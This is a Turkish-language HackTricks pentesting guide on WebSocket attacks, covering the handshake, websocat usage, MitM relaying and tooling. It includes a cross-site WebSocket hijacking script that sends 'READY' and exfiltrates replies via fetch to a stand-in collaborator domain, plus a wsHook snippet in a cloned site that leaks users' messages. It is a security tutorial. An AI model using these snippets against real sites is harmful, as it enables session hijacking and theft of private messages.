hacktricks/pentesting-web/websocket-attacks.md
2024-02-10 18:14:16 +00:00

182 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WebSocket Saldırıları
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
</details>
## WebSockets Nedir
WebSocket bağlantıları, başlangıçta **HTTP** el sıkışması aracılığıyla kurulur ve işlem sistemine ihtiyaç duymadan herhangi bir zamanda **çift yönlü mesajlaşma** sağlamak için **uzun süreli** olarak tasarlanmıştır. Bu, canlı finansal veri akışları gibi **düşük gecikme süresi veya sunucu başlatmalı iletişim** gerektiren uygulamalar için WebSockets'in özellikle avantajlı olmasını sağlar.
### WebSocket Bağlantılarının Kurulması
WebSocket bağlantılarının ayrıntılı bir açıklamasına [**buradan**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) erişilebilir. Özet olarak, WebSocket bağlantıları genellikle aşağıdaki gibi istemci tarafı JavaScript kullanılarak başlatılır:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
`wss` protokolü, **TLS** ile güvence altına alınmış bir WebSocket bağlantısını ifade ederken, `ws` güvencesiz bir bağlantıyı gösterir.
Bağlantı kurulması sırasında tarayıcı ve sunucu arasında HTTP üzerinden bir el sıkışma gerçekleştirilir. El sıkışma süreci, tarayıcının bir istek göndermesi ve sunucunun yanıt vermesini içerir. Aşağıdaki örneklerde gösterildiği gibi:
Tarayıcı bir el sıkışma isteği gönderir:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Sunucunun el sıkışma yanıtı:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Bağlantı bir kez kurulduğunda, mesaj alışverişi için bağlantı her iki yönde de açık kalır.
**WebSocket El Sıkışmasının Ana Noktaları:**
- `Connection` ve `Upgrade` başlıkları, WebSocket el sıkışmasının başlatıldığını belirtir.
- `Sec-WebSocket-Version` başlığı istenen WebSocket protokol sürümünü belirtir, genellikle `13`'tür.
- Base64 ile kodlanmış rastgele bir değer, `Sec-WebSocket-Key` başlığında gönderilir ve her el sıkışmanın benzersiz olmasını sağlar, bu da önbellekleyen proxy'lerle ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanlış yapılandırılmış bir sunucu veya önbellek tarafından oluşturulan yanıtın doğruluğunu onaylamak içindir.
- Sunucunun yanıtındaki `Sec-WebSocket-Accept` başlığı, `Sec-WebSocket-Key`'in bir karmasıdır ve sunucunun bir WebSocket bağlantısı açma niyetini doğrular.
Bu özellikler, el sıkışma sürecinin güvenli ve güvenilir olmasını sağlar, böylece etkili gerçek zamanlı iletişim sağlanır.
### Linux konsolu
`websocat` kullanarak bir websocket ile doğrudan bir bağlantı kurabilirsiniz.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
Veya bir websocat sunucusu oluşturmak için:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket bağlantıları
Eğer mevcut yerel ağınızdan istemcilerin bir **HTTP websocket**'e bağlı olduğunu tespit ederseniz, istemci ve sunucu arasında bir MitM saldırısı gerçekleştirmek için bir [ARP Spoofing Saldırısı](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) deneyebilirsiniz.\
İstemci bağlantı kurmaya çalıştığında, aşağıdaki komutu kullanabilirsiniz:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websocket numaralandırma
Websocket'leri otomatik olarak keşfetmek, parmak izi almak ve bilinen zayıflıkları aramak için **https://github.com/PalindromeLabs/STEWS** **araç**ını kullanabilirsiniz.
### Websocket Hata Ayıklama Araçları
* **Burp Suite**, düzenli HTTP iletişimi için yaptığı gibi MitM websocket iletişimini destekler.
* [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite eklentisi**, Burp'ta Websocket iletişimini daha iyi yönetmenizi sağlar. **Geçmişi** almak, **interception kuralları** belirlemek, **eşleştirme ve değiştirme** kuralları kullanmak, **Intruder** ve **AutoRepeater** kullanmak için kullanılabilir.
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" kısaltması olan bu Node.js yazılımı, istemci ve sunucu arasındaki tüm WebSocket ve Socket.IO iletişimini **yakalamak**, **intercept etmek**, **özel mesajlar göndermek** ve görüntülemek için bir kullanıcı arayüzü sağlar.
* [**wsrepl**](https://github.com/doyensec/wsrepl), özellikle penetrasyon testi için tasarlanmış **etkileşimli bir websocket REPL**'dir. Gelen websocket mesajlarını gözlemlemek ve yeni mesajlar göndermek için bir arayüz sağlar ve bu iletişimi **otomatikleştirmek** için kolay kullanımlı bir çerçeve sunar.
* [**https://websocketking.com/**](https://websocketking.com/), **websockets** kullanarak diğer web siteleriyle iletişim kurmak için bir **web** sağlar.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket), diğer iletişim/protokol türlerinin yanı sıra **websockets** kullanarak diğer web siteleriyle iletişim kurmanızı sağlar.
## Websocket Laboratuvarı
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) içinde, websockets kullanarak bir web sitesi başlatmak için bir kod bulunur ve [**bu yazıda**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) açıklama bulabilirsiniz.
## Cross-site WebSocket kaçırma (CSWSH)
**Cross-site WebSocket kaçırma**, WebSocket el sıkışmalarını etkileyen **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**'nin belirli bir durumu olarak tanımlanır. Bu zayıflık, WebSocket el sıkışmalarının yalnızca **HTTP çerezleri** aracılığıyla kimlik doğrulaması yapması durumunda ortaya çıkar ve CSRF tokenları veya benzeri güvenlik önlemleri kullanılmaz.
Saldırganlar, zayıf bir uygulamaya karşı bir çapraz site WebSocket bağlantısı başlatan **kötü niyetli bir web sayfası** barındırarak bunu sömürebilir. Sonuç olarak, bu bağlantı, oturum işleme mekanizmasındaki CSRF korumasının eksikliğini sömürerek, bağlantının kurbanın oturumuyla birlikte işlenmesi olarak kabul edilir.
### Basit Saldırı
Unutmayın ki **websocket** bağlantısı **kurulduğunda**, **çerez** sunucuya **gönderilir**. **Sunucu**, gönderilen çerezlere dayanarak her **belirli kullanıcıyı websocket oturumuyla ilişkilendirebilir**.
Örneğin, eğer **websocket** **sunucusu**, "**READY**" iletilmesi durumunda bir kullanıcının konuşma geçmişini geri gönderiyorsa, **basit bir XSS** bağlantı kurarak (çerez, kurban kullanıcıyı yetkilendirmek için **otomatik olarak gönderilecektir**) "**READY**" göndermek, konuşma geçmişini alabilir.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Farklı bir alt alan adıyla Cross Origin + Cookie
Bu blog yazısında [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), saldırgan web soket iletişiminin gerçekleştiği alan adının **alt alan adında keyfi JavaScript kodu çalıştırmayı** başardı. **Alt alan adı** olduğu için **çerez** gönderiliyordu ve **Websocket Origin'i doğru şekilde kontrol etmediği** için onunla iletişim kurarak **onun içinden token çalmak** mümkün oldu.
### Kullanıcıdan veri çalmak
Taklit etmek istediğiniz web uygulamasını (örneğin .html dosyalarını) kopyalayın ve web soket iletişiminin gerçekleştiği betik içine aşağıdaki kodu ekleyin:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
```
Şimdi `wsHook.js` dosyasını [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) adresinden indirin ve **web dosyalarının bulunduğu klasöre kaydedin**.\
Web uygulamasınıığa çıkararak ve bir kullanıcının buna bağlanmasını sağlayarak, websocket üzerinden gönderilen ve alınan mesajları çalabilirsiniz:
```javascript
sudo python3 -m http.server 80
```
## Yarış Koşulları
WebSockets'te Yarış Koşulları da önemlidir, [daha fazla bilgi için bu bilgilere bakın](race-condition.md#rc-in-websockets).
## Diğer zayıflıklar
WebSockets, verileri sunucu tarafına ve istemci tarafına göndermek için bir mekanizma olduğundan, sunucu ve istemcinin bilgileri nasıl işlediğine bağlı olarak, WebSockets, bir kullanıcının bir web soketinden giriş kullanarak XSS, SQLi veya diğer yaygın web zafiyetlerini sömürmek için kullanılabilir.
## **WebSocket Smuggling**
Bu zayıflık, ters proxy kısıtlamalarını **atlamak** için bir **web soketi iletişimi kurulmuş gibi** yaparak onlara inandırmanıza izin verebilir (gerçek olmasa bile). Bu, bir saldırganın **gizli uç noktalara erişmesine** olanak tanır. Daha fazla bilgi için aşağıdaki sayfaya bakın:
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
## Referanslar
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github reposuna PR göndererek paylaşın.
</details>